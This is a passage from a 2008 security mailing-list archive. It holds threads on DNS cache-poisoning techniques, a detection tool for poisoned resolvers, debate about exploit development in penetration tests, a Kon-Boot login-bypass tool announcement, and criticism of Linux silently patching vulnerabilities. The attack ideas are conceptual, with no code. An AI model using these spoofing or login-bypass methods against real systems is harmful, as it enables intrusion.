socket and writing an advisory on the xor ebx,ebx; mov eax, [ebx] findings. Plenty of people cheat at writing exploits too. From mh at baseline-security.de Mon Jul 14 08:57:45 2008 From: mh at baseline-security.de (Marc Heuse) Date: Mon, 14 Jul 2008 14:57:45 +0200 Subject: [Dailydave] DNS Guess 2 for the day In-Reply-To: <1216026400.5394.11.camel@apollo> References: <1216026400.5394.11.camel@apollo> Message-ID: <487B4D49.7070504@baseline-security.de> Jon Oberheide wrote: > On Sun, 2008-07-13 at 20:09 -0700, piggly wiggly wrote: >> Basically it has to do with ICMP packets (spoofed ICMP unreachables sent >> in response to DNS packets the attacker can't see, but can guess - thanks >> to non-random port selection). > > Or ICMP redirect messages for that matter (although I'd hope most sane > distributions are shipping with accept_redirects off by default > nowadays). most distributions ship with secure redirects enabled - which is not "secure" in a sensible way ;-) > So the attacker would have to guess the 16-bit IP ID correctly to have > his ICMP unreachable accepted which would be just as difficult as > guessing the DNS TXID. Stacks that still use incremental IP ID > generation could be affected, however. thankfully IP IDs were removed in IPv6 ... Cheers, Marc -- Marc Heuse Mobil: +49 177 9611560 Fax: +49 30 28097468 www.baseline-security.de Baseline Security Consulting Chausseestr. 15 10115 Berlin Ust.-Ident.-Nr.: DE244222388 PGP: D069 301E B401 828C 4E72 0BEA D9C9 6088 36F2 A05E From jon at oberheide.org Mon Jul 14 10:20:57 2008 From: jon at oberheide.org (Jon Oberheide) Date: Mon, 14 Jul 2008 10:20:57 -0400 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: References: <4878EC1B.2010501@immunityinc.com> <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> <20080712202412.1f0ee2e0@moray> <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> Message-ID: <1216045257.23436.7.camel@apollo> On Mon, 2008-07-14 at 08:21 +0200, Thomas Pollet wrote: > - suppose you want to spoof a nonexistant subdomain of a site, e.g. > pwned.paypal.com > - you get a user on a website to repeatedly request something on that > domain from within a web page > - as the domain does not exist, every request will result in a dns lookup Not necessarily. DNS has all sorts of wonderfully quirky features, one of them being negative caching [1]. So your NXDOMAIN/SERVFAIL/whatever responses for a RR can be cached too. > - while the dns request is ongoing, flood the client (and intermediate > dns in a recursive scheme) with fake responses. Even if you did succeed, all you'd be left with pwned.paypal.com which might be more effective than heyipromisethisispaypal.com in your phishing emails, but has no where near the impact of arbitrary RR poisoning. Regards, Jon Oberheide [1] http://www.ietf.org/rfc/rfc2308.txt -- Jon Oberheide GnuPG Key: 1024D/F47C17FE Fingerprint: B716 DA66 8173 6EDD 28F6 F184 5842 1C89 F47C 17FE -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080714/80dbc87d/attachment.pgp From thomas.pollet at gmail.com Mon Jul 14 12:26:31 2008 From: thomas.pollet at gmail.com (Thomas Pollet) Date: Mon, 14 Jul 2008 18:26:31 +0200 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: <1216045257.23436.7.camel@apollo> References: <4878EC1B.2010501@immunityinc.com> <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> <20080712202412.1f0ee2e0@moray> <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> <1216045257.23436.7.camel@apollo> Message-ID: Hi, thanks for your reply, I didn't know about the negative ttl before, however this can be circumvented by specifying different nonexistant subdomains, this would somehow complicate/slow down the attack. I was thinking that, if you'd control whatever subdomain on a given domain, there are some fun things that can be done on the application level. Arbitrary RR poisoning is preferrable ofcourse. But if the goal is to map a subdomain to an ip in a browser dns cache, there might be a way to do so. A 4G search space is still huge, but combined with every possible way to reduce the search space, this approach might become feasible within a reasonable time limit. My understanding of actual dns implementation is limited, but suppose a txid/port combination is created such that there are no 2 txid's in use at the same time (as opposed to no 2 txid/port combinations in use at the same time), then the search space would decrease with 2^16 for every txid you can exclude (as you may find out other txids by querying the dns resolver yourself to find out some txids not to use for flooding). Also, the dns server may be configured to not use the full range of ports, this can also be guessed, etc. Regards, Thomas 2008/7/14 Jon Oberheide : > On Mon, 2008-07-14 at 08:21 +0200, Thomas Pollet wrote: >> - suppose you want to spoof a nonexistant subdomain of a site, e.g. >> pwned.paypal.com >> - you get a user on a website to repeatedly request something on that >> domain from within a web page >> - as the domain does not exist, every request will result in a dns lookup > > Not necessarily. DNS has all sorts of wonderfully quirky features, one > of them being negative caching [1]. So your NXDOMAIN/SERVFAIL/whatever > responses for a RR can be cached too. > >> - while the dns request is ongoing, flood the client (and intermediate >> dns in a recursive scheme) with fake responses. > > Even if you did succeed, all you'd be left with pwned.paypal.com which > might be more effective than heyipromisethisispaypal.com in your > phishing emails, but has no where near the impact of arbitrary RR > poisoning. > > Regards, > Jon Oberheide > > [1] http://www.ietf.org/rfc/rfc2308.txt > > -- > Jon Oberheide > GnuPG Key: 1024D/F47C17FE > Fingerprint: B716 DA66 8173 6EDD 28F6 F184 5842 1C89 F47C 17FE > From jose at onzra.com Mon Jul 14 13:56:45 2008 From: jose at onzra.com (Jose Avila) Date: Mon, 14 Jul 2008 10:56:45 -0700 Subject: [Dailydave] Detecting DNS Events Message-ID: <9C34E4ED-6BF9-43FF-8894-D865D2EB1B97@onzra.com> Cache Poisoning has been around for many years... As Halvar has stated in his blog we have survived much worse, and I believe we will survive this current issue. One thing that has amused me is how well orchestrated this entire event has been; and as such, I commend everyone that has been involved in the process from start to finish. With these releases we have one more Cache Poisoning attack prevented; however, we still don?t really have a method for confirming and verifying that a recursive server has been poisoned. The recursive provider finds out when services start failing, customers start calling in, etc. With help from Dan, and a few others, I started work on a small open source application to monitor and verify the cache of a recursive server. The overall concept was to take periodic dumps of the in- memory cache from the recursive server, validate these dumps against the authoritative name servers, and peer recursive name servers, alerting when something could not be validated. Once we were able to narrow down the false positives from the Content Delivery Networks, there started to be a bit more hope. The tool is currently released under the BSD License and is free for anyone to use, and contribute to. Its currently an early release but, its my hopes that as time progresses, we?ll have a scaleable, stable tool that that recursive providers can use to detect and respond quicker to cache poisoning events. Currently there is not a lot of documentation, but I?m hoping to have something more detailed written up soon. Feel free to contact me with any questions or comments. Tool download: http://www.onzra.com/CacheAudit-Latest.tgz Thanks, Jose -- Jose Avila III www.onzra.com From pmelson at gmail.com Mon Jul 14 21:48:07 2008 From: pmelson at gmail.com (Paul Melson) Date: Mon, 14 Jul 2008 21:48:07 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> Message-ID: <40ecb01f0807141848y44cbe2e0m731a3750675b4cfd@mail.gmail.com> On Mon, Jul 14, 2008 at 8:18 AM, Thomas Ptacek wrote: > The problem is, it is not MORE VALUABLE to exploit memory corruption > flaws than it is to find them. Consider two scenarios: > > (1) A shrink-wrap software pen test, for a vendor or a customer --- > the target is one application. You have 5 days. Unless you think you > can sweep 500,000 lines of C code clean of vulnerabilities in 40 > hours, an hour spent on exploit dev is an hour not spent finding > vulnerabilities. The thing about exploits in pen-testing is that they're not really necessary for the client or the client's code. They're more for the vendor of the shrink-wrap software that you're testing. A client smart enough to pay for a pen-test (as opposed to a vulnerability assessment) will also be able to understand they should fix their code when you show them a screenshot of gdb showing EIP = 0x41414141. But vendors are another story - you've gotta have a highly reliable PoC exploit before they do anything at all for your client in terms of a fix. (This is why billing T&M for a pen-test is convenient - you don't have to ask your client to sign another contract to code the PoC and sit through the conference calls with the vendor.) > Plenty of people cheat at writing exploits too. Cheating at exploit writing is like cheating at running. Except when you're in competition, nobody cares if you drove a car, so long as you arrived at the correct destination. PaulM From bania.piotr at gmail.com Tue Jul 15 06:25:40 2008 From: bania.piotr at gmail.com (Piotr Bania) Date: Tue, 15 Jul 2008 12:25:40 +0200 Subject: [Dailydave] TOOL: Kon-Boot v.1.0 - booting-time ultimate linux hacking utility ; ) Message-ID: <000501c8e665$236ef9e0$9af5fea9@DIED> Hello, Kon-Boot is an prototype piece of software which allows to change contents of a linux kernel on the fly (while booting). In the current compilation state it allows to log into a linux system as 'root' user without typing the correct password or to elevate privileges from current user to root. It was acctually started as silly project of mine, which was born from my never-ending memory problems :) Secondly it was mainly created for Ubuntu, later i have made few add-ons to cover some other linux distributions. All datas and infos available at project page: http://piotrbania.com/all/kon-boot/ best regards, Piotr Bania -- -------------------------------------------------------------------- Piotr Bania - - 0xCD, 0x19 Fingerprint: 413E 51C7 912E 3D4E A62A BFA4 1FF6 689F BE43 AC33 http://www.piotrbania.com - Key ID: 0xBE43AC33 -------------------------------------------------------------------- - "The more I learn about men, the more I love dogs." From valsmith at offensivecomputing.net Tue Jul 15 14:38:18 2008 From: valsmith at offensivecomputing.net (val smith) Date: Tue, 15 Jul 2008 12:38:18 -0600 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> Message-ID: I'm going to have to award the point to Thomas here. The scenarios he presented are very often what I get myself. Super compressed time frame, unlikely to achieve goal so any time I spend developing tools or exploits is time I lose achieving the goal. I've also recently had an app test where I had something like 6 hours. There was no way (for me cause I suck) to come up with working exploit in that time, but I was able to find half a dozen bugs and report them. In this case knowing how to write an exploit wouldn't do me much good. However I'll have to say i've run into maybe 1 place in the world where getting access to 1 host didn't get me much. (mac locking on ports, 1 time passwords everywhere, no shared admin accounts, or admin from console only, lots of vlanning, etc.) Cheating is what its all about. I have this think I call the cooking show hack. You know in a cooking show how they make the food and put it in the oven then pull one out already cooked and try it. Same thing but with rootshell :) Fuzzy kiddies just sounds wrong man, just wrong. V. On Mon, Jul 14, 2008 at 6:18 AM, Thomas Ptacek wrote: >> Anyone can fire a fuzer, find a bug and tell their client about how >> exploitable it is. >> People then will talk about ret-to-libc and malloc tricks that really >> don't work anymore in modern systems. > > This is NO DOUBT true. It is obviously much HARDER to exploit modern > memory corruption flaws than it is to find them. Respect, yo. S'all > love in here. > > The problem is, it is not MORE VALUABLE to exploit memory corruption > flaws than it is to find them. Consider two scenarios: > > (1) A shrink-wrap software pen test, for a vendor or a customer --- > the target is one application. You have 5 days. Unless you think you > can sweep 500,000 lines of C code clean of vulnerabilities in 40 > hours, an hour spent on exploit dev is an hour not spent finding > vulnerabilities. > > (2) A network penetration test. You have 5 days. Unless you have found > the zero enterprises in the world where access to their network > doesn't immediately offer up 30 different mass casualty scenarios, an > hour spent on exploit dev is an hour not spent breaking into systems. > > We could go back and forth on (2) --- no doubt there are NPT's where > being able to bust CreateProcess in some sleazy Windows backup > software is going to win the game for you (there are also NPTs where > the client says, "tell me about the zero-day mass casualty exploits > you could have run, but don't stop testing until you get in without > cheating"). > > And another thing: we all know about the "fuzz kiddies", but that > doesn't make all vulnerability research a matter of aiming /dev/random > at a socket and writing an advisory on the xor ebx,ebx; mov eax, [ebx] > findings. Plenty of people cheat at writing exploits too. > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- ****************************************** * Val Smith * CTO Offensive Computing, LLC * http://www.offensivecomputing.net ******************************************* From ddz at theta44.org Wed Jul 16 00:48:46 2008 From: ddz at theta44.org (Dino A. Dai Zovi) Date: Wed, 16 Jul 2008 00:48:46 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> Message-ID: <989d9b4e0807152148h4873cab9w7b3ed6671fc38563@mail.gmail.com> Believe it or not, there are still operations people in this world who will not properly prioritize a security vulnerability unless they are properly shown its ramifications. Telling someone that a three tier architecture with the web tier on the DMZ and the application tier on the internal network is risky may not be enough to drive the point home. Finding and exploiting an 0day vuln in the app server and being able to call the admin up and tell him that you have a remote SYSTEM shell on it from the Internet makes the point much better. After they pick the phone back up, they usually start doing whatever it takes to fix the problem as soon as possible. Without vulnerability exploitation skills, effecting that change would have required a political battle and I'm distinctly better at exploitation than politics. -Dino On Tue, Jul 15, 2008 at 2:38 PM, val smith wrote: > I'm going to have to award the point to Thomas here. The scenarios he > presented are very often what I get myself. Super compressed time > frame, unlikely to achieve goal so any time I spend developing tools > or exploits is time I lose achieving the goal. > > I've also recently had an app test where I had something like 6 hours. > There was no way (for me cause I suck) to come up with working exploit > in that time, but I was able to find half a dozen bugs and report > them. In this case knowing how to write an exploit wouldn't do me much > good. > > However I'll have to say i've run into maybe 1 place in the world > where getting access to 1 host didn't get me much. (mac locking on > ports, 1 time passwords everywhere, no shared admin accounts, or admin > from console only, lots of vlanning, etc.) > > Cheating is what its all about. I have this think I call the cooking > show hack. You know in a cooking show how they make the food and put > it in the oven then pull one out already cooked and try it. Same thing > but with rootshell :) > > Fuzzy kiddies just sounds wrong man, just wrong. > > V. > > On Mon, Jul 14, 2008 at 6:18 AM, Thomas Ptacek wrote: >>> Anyone can fire a fuzer, find a bug and tell their client about how >>> exploitable it is. >>> People then will talk about ret-to-libc and malloc tricks that really >>> don't work anymore in modern systems. >> >> This is NO DOUBT true. It is obviously much HARDER to exploit modern >> memory corruption flaws than it is to find them. Respect, yo. S'all >> love in here. >> >> The problem is, it is not MORE VALUABLE to exploit memory corruption >> flaws than it is to find them. Consider two scenarios: >> >> (1) A shrink-wrap software pen test, for a vendor or a customer --- >> the target is one application. You have 5 days. Unless you think you >> can sweep 500,000 lines of C code clean of vulnerabilities in 40 >> hours, an hour spent on exploit dev is an hour not spent finding >> vulnerabilities. >> >> (2) A network penetration test. You have 5 days. Unless you have found >> the zero enterprises in the world where access to their network >> doesn't immediately offer up 30 different mass casualty scenarios, an >> hour spent on exploit dev is an hour not spent breaking into systems. >> >> We could go back and forth on (2) --- no doubt there are NPT's where >> being able to bust CreateProcess in some sleazy Windows backup >> software is going to win the game for you (there are also NPTs where >> the client says, "tell me about the zero-day mass casualty exploits >> you could have run, but don't stop testing until you get in without >> cheating"). >> >> And another thing: we all know about the "fuzz kiddies", but that >> doesn't make all vulnerability research a matter of aiming /dev/random >> at a socket and writing an advisory on the xor ebx,ebx; mov eax, [ebx] >> findings. Plenty of people cheat at writing exploits too. >> _______________________________________________ >> Dailydave mailing list >> Dailydave at lists.immunitysec.com >> http://lists.immunitysec.com/mailman/listinfo/dailydave >> > > > > -- > ****************************************** > * Val Smith > * CTO Offensive Computing, LLC > * http://www.offensivecomputing.net > ******************************************* > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From valsmith at offensivecomputing.net Wed Jul 16 01:30:46 2008 From: valsmith at offensivecomputing.net (val smith) Date: Tue, 15 Jul 2008 23:30:46 -0600 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <989d9b4e0807152148h4873cab9w7b3ed6671fc38563@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> <989d9b4e0807152148h4873cab9w7b3ed6671fc38563@mail.gmail.com> Message-ID: Amen on exploitation vs politics. Must devise some sort of political 0day. I gotta be honest though, many places don't even do much if you show them you have a remote SYSTEM shell. A lot of times I'll come back a year later to a place and get in with the same bugs, even find my same backdoor accounts (which they were aware of and promised to remove) still there. Makes the pentest alot quicker / easier though. They will rationalize their lack of fixing things one way or another, whether it be resources, time, what the fix might break, etc. I've also hears "well of course you got in, your GOOD, not like the real attackers", or worse "well you got in because you know about stuff here, no one else will figure that out". I'm not sure any certification, even Dave's, will make these kinda places more likely to listen. (Since we started on the subject of the cert :) V. ps I realize I am much too fond of parenthesis in my posts, sorry. On Tue, Jul 15, 2008 at 10:48 PM, Dino A. Dai Zovi wrote: > Believe it or not, there are still operations people in this world who > will not properly prioritize a security vulnerability unless they are > properly shown its ramifications. Telling someone that a three tier > architecture with the web tier on the DMZ and the application tier on > the internal network is risky may not be enough to drive the point > home. > > Finding and exploiting an 0day vuln in the app server and being able > to call the admin up and tell him that you have a remote SYSTEM shell > on it from the Internet makes the point much better. After they pick > the phone back up, they usually start doing whatever it takes to fix > the problem as soon as possible. > > Without vulnerability exploitation skills, effecting that change would > have required a political battle and I'm distinctly better at > exploitation than politics. > > -Dino > > On Tue, Jul 15, 2008 at 2:38 PM, val smith > wrote: >> I'm going to have to award the point to Thomas here. The scenarios he >> presented are very often what I get myself. Super compressed time >> frame, unlikely to achieve goal so any time I spend developing tools >> or exploits is time I lose achieving the goal. >> >> I've also recently had an app test where I had something like 6 hours. >> There was no way (for me cause I suck) to come up with working exploit >> in that time, but I was able to find half a dozen bugs and report >> them. In this case knowing how to write an exploit wouldn't do me much >> good. >> >> However I'll have to say i've run into maybe 1 place in the world >> where getting access to 1 host didn't get me much. (mac locking on >> ports, 1 time passwords everywhere, no shared admin accounts, or admin >> from console only, lots of vlanning, etc.) >> >> Cheating is what its all about. I have this think I call the cooking >> show hack. You know in a cooking show how they make the food and put >> it in the oven then pull one out already cooked and try it. Same thing >> but with rootshell :) >> >> Fuzzy kiddies just sounds wrong man, just wrong. >> >> V. >> >> On Mon, Jul 14, 2008 at 6:18 AM, Thomas Ptacek wrote: >>>> Anyone can fire a fuzer, find a bug and tell their client about how >>>> exploitable it is. >>>> People then will talk about ret-to-libc and malloc tricks that really >>>> don't work anymore in modern systems. >>> >>> This is NO DOUBT true. It is obviously much HARDER to exploit modern >>> memory corruption flaws than it is to find them. Respect, yo. S'all >>> love in here. >>> >>> The problem is, it is not MORE VALUABLE to exploit memory corruption >>> flaws than it is to find them. Consider two scenarios: >>> >>> (1) A shrink-wrap software pen test, for a vendor or a customer --- >>> the target is one application. You have 5 days. Unless you think you >>> can sweep 500,000 lines of C code clean of vulnerabilities in 40 >>> hours, an hour spent on exploit dev is an hour not spent finding >>> vulnerabilities. >>> >>> (2) A network penetration test. You have 5 days. Unless you have found >>> the zero enterprises in the world where access to their network >>> doesn't immediately offer up 30 different mass casualty scenarios, an >>> hour spent on exploit dev is an hour not spent breaking into systems. >>> >>> We could go back and forth on (2) --- no doubt there are NPT's where >>> being able to bust CreateProcess in some sleazy Windows backup >>> software is going to win the game for you (there are also NPTs where >>> the client says, "tell me about the zero-day mass casualty exploits >>> you could have run, but don't stop testing until you get in without >>> cheating"). >>> >>> And another thing: we all know about the "fuzz kiddies", but that >>> doesn't make all vulnerability research a matter of aiming /dev/random >>> at a socket and writing an advisory on the xor ebx,ebx; mov eax, [ebx] >>> findings. Plenty of people cheat at writing exploits too. >>> _______________________________________________ >>> Dailydave mailing list >>> Dailydave at lists.immunitysec.com >>> http://lists.immunitysec.com/mailman/listinfo/dailydave >>> >> >> >> >> -- >> ****************************************** >> * Val Smith >> * CTO Offensive Computing, LLC >> * http://www.offensivecomputing.net >> ******************************************* >> _______________________________________________ >> Dailydave mailing list >> Dailydave at lists.immunitysec.com >> http://lists.immunitysec.com/mailman/listinfo/dailydave >> > -- ****************************************** * Val Smith * CTO Offensive Computing, LLC * http://www.offensivecomputing.net ******************************************* From spender at grsecurity.net Wed Jul 16 09:44:37 2008 From: spender at grsecurity.net (Brad Spengler) Date: Wed, 16 Jul 2008 09:44:37 -0400 Subject: [Dailydave] Linux's unofficial security-through-coverup policy Message-ID: <20080716134437.GA8428@grsecurity.net> Hi all, I doubt many of you are following the "discussions" (if they can be called that) that have been going on on LWN for the past couple weeks regarding security fixes being intentionally covered up by the Linux kernel developers and -stable maintainers. Here are some references: http://lwn.net/Articles/285438/ http://lwn.net/Articles/286263/ http://lwn.net/Articles/287339/ http://lwn.net/Articles/288473/ http://lwn.net/Articles/289805/ The Linux kernel has a formal policy in Documentation/SecurityBugs which states under Section 2 Disclosure: "We prefer to fully disclose the bug as soon as possible." However, their policy in reality is quite different, as you can see for yourself in the "discussion" going on now on LKML: http://marc.info/?t=121507404600023&r=1&w=2 Some choice quotes from Linus that reflect how sad the current state is: http://marc.info/?l=linux-kernel&m=121617056910384&w=2 (on commenting about what he would allow to be included in a commit message) "I literally draw the line at anything that is simply greppable for. If it's not a very public security issue already, I don't want a simple "git log + grep" to help find it." http://marc.info/?l=linux-kernel&m=121613851521898&w=2 (when talking about the security backports Linux vendors provide for customers) "And they mostly do a crap job at it, only focusing on a small percentage (the ones that were considered to be "big issues")" They seem to have the impression that people who find an exploit kernel vulnerabilities rely on the commit messages fixing the vulnerability including some mention of security. As it should be clear to anyone actually involved in the security community, or anyone who has ever written an exploit (particularly for the myriad silently fixed vulnerabilities in Linux), this is far from reality. The people who *do* rely on these messages and announcements however are the smaller distributions and individual users. Yet Linus et al believe they're helping you by pulling the wool over your eyes regarding the exploitable vulnerabilities in their OS. To illustrate the point, in the 2.6.25.10 kernel, the following fix was included with the commit message of: Roland McGrath (1): x86_64 ptrace: fix sys32_ptrace task_struct leak The kernel was released with no mention of security vulnerabilities in the announcement, only "assorted bugfixes". Put simply, it only took about an hour or so to develop a PoC for this exploitable vulnerability which affects 64bit x86_64 kernels since January. So since the time of the fix itself (or even before that if someone spotted it before the kernel developers did themselves) users have been at risk. Yet in the imaginary world they live in, these kernel developers think they're protecting you from that risk by not telling you what you're vulnerable to. Please let them know what you think of their policy of non-disclosure and coverups. I hope someone also educates them on their ridiculous notion of "untrusted local users" like Greg uses in his announcement of the 2.6.25.11 kernel: http://lwn.net/Articles/289804/ If you remain complacent about the state of affairs, you're only enabling them to continue their current misguided foolishness. -Brad -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080716/0e4d7ff9/attachment-0001.pgp From lists at isecom.org Wed Jul 16 11:16:18 2008 From: lists at isecom.org (Pete Herzog) Date: Wed, 16 Jul 2008 17:16:18 +0200 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <989d9b4e0807152148h4873cab9w7b3ed6671fc38563@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> <989d9b4e0807152148h4873cab9w7b3ed6671fc38563@mail.gmail.com> Message-ID: <487E10C2.2040905@isecom.org> Makes me wonder what kind of work other people are doing! Wherever I've worked, security consulting followed penetration testing and in that consultancy we advised the client. We had little time to test the security let alone actually exploit anything so that if we couldn't provide a trophy from some major bump and jump we could still report effectively on how exposed they were to business losses caused by competitive intelligence, HR leaks, client leaks, and of course poor use of system controls. The root shell was nice to have if we could get it but it was not our priority and it definitely was not what we needed to inform the client of their problems. And if they chose not to fix them then that is their choice on how to manage risk. I've seen pen-testers flip out because the client's tech staff chose not to stop using email address names for extra-net logins. They felt the risk wasn't there. That's actually their decision to make because I don't see their balance sheets and I don't know their business strategy and in the end it's their gamble to make. They have my report and my notes and my tests. I can't do more. Isn't our top job to thoroughly audit the security and safety of assets and properly report. Properly protected infrastructures do not require patching to maintain security. Therefore we shouldn't do free (for the development company) Q&A on shrink-wrapped software as part of the job. We should always assume that shrink-wrapped software, even up to the latest patch level, will still have holes so we need to make sure that even if exploited, proper controls assure nothing is lost. I like the idea of a certification on writing exploit code. I think there's a lot of q&A jobs where that would be a good fit, even on a pen-testing team. You should team up with the OSVDB guys to offer something less vendor-centric though. Of course you could always work with ISECOM too.... -pete. Dino A. Dai Zovi wrote: > Believe it or not, there are still operations people in this world who > will not properly prioritize a security vulnerability unless they are > properly shown its ramifications. Telling someone that a three tier > architecture with the web tier on the DMZ and the application tier on > the internal network is risky may not be enough to drive the point > home. > > Finding and exploiting an 0day vuln in the app server and being able > to call the admin up and tell him that you have a remote SYSTEM shell > on it from the Internet makes the point much better. After they pick > the phone back up, they usually start doing whatever it takes to fix > the problem as soon as possible. > > Without vulnerability exploitation skills, effecting that change would > have required a political battle and I'm distinctly better at > exploitation than politics. > > -Dino > > On Tue, Jul 15, 2008 at 2:38 PM, val smith > wrote: >> I'm going to have to award the point to Thomas here. The scenarios he >> presented are very often what I get myself. Super compressed time >> frame, unlikely to achieve goal so any time I spend developing tools >> or exploits is time I lose achieving the goal. >> >> I've also recently had an app test where I had something like 6 hours. >> There was no way (for me cause I suck) to come up with working exploit >> in that time, but I was able to find half a dozen bugs and report >> them. In this case knowing how to write an exploit wouldn't do me much >> good. >> >> However I'll have to say i've run into maybe 1 place in the world >> where getting access to 1 host didn't get me much. (mac locking on >> ports, 1 time passwords everywhere, no shared admin accounts, or admin >> from console only, lots of vlanning, etc.) >> >> Cheating is what its all about. I have this think I call the cooking >> show hack. You know in a cooking show how they make the food and put >> it in the oven then pull one out already cooked and try it. Same thing >> but with rootshell :) >> >> Fuzzy kiddies just sounds wrong man, just wrong. >> >> V. >> >> On Mon, Jul 14, 2008 at 6:18 AM, Thomas Ptacek wrote: >>>> Anyone can fire a fuzer, find a bug and tell their client about how >>>> exploitable it is. >>>> People then will talk about ret-to-libc and malloc tricks that really >>>> don't work anymore in modern systems. >>> This is NO DOUBT true. It is obviously much HARDER to exploit modern >>> memory corruption flaws than it is to find them. Respect, yo. S'all >>> love in here. >>> >>> The problem is, it is not MORE VALUABLE to exploit memory corruption >>> flaws than it is to find them. Consider two scenarios: >>> >>> (1) A shrink-wrap software pen test, for a vendor or a customer --- >>> the target is one application. You have 5 days. Unless you think you >>> can sweep 500,000 lines of C code clean of vulnerabilities in 40 >>> hours, an hour spent on exploit dev is an hour not spent finding >>> vulnerabilities. >>> >>> (2) A network penetration test. You have 5 days. Unless you have found >>> the zero enterprises in the world where access to their network >>> doesn't immediately offer up 30 different mass casualty scenarios, an >>> hour spent on exploit dev is an hour not spent breaking into systems. >>> >>> We could go back and forth on (2) --- no doubt there are NPT's where >>> being able to bust CreateProcess in some sleazy Windows backup >>> software is going to win the game for you (there are also NPTs where >>> the client says, "tell me about the zero-day mass casualty exploits >>> you could have run, but don't stop testing until you get in without >>> cheating"). >>> >>> And another thing: we all know about the "fuzz kiddies", but that >>> doesn't make all vulnerability research a matter of aiming /dev/random >>> at a socket and writing an advisory on the xor ebx,ebx; mov eax, [ebx] >>> findings. Plenty of people cheat at writing exploits too. >>> _______________________________________________ >>> Dailydave mailing list >>> Dailydave at lists.immunitysec.com >>> http://lists.immunitysec.com/mailman/listinfo/dailydave >>> >> >> >> -- >> ****************************************** >> * Val Smith >> * CTO Offensive Computing, LLC >> * http://www.offensivecomputing.net >> ******************************************* >> _______________________________________________ >> Dailydave mailing list >> Dailydave at lists.immunitysec.com >> http://lists.immunitysec.com/mailman/listinfo/dailydave >> > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > > From adam at homeport.org Wed Jul 16 12:06:13 2008 From: adam at homeport.org (Adam Shostack) Date: Wed, 16 Jul 2008 12:06:13 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <989d9b4e0807152148h4873cab9w7b3ed6671fc38563@mail.gmail.com> References: <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> <989d9b4e0807152148h4873cab9w7b3ed6671fc38563@mail.gmail.com> Message-ID: <20080716160613.GA8895@homeport.org> On Wed, Jul 16, 2008 at 12:48:46AM -0400, Dino A. 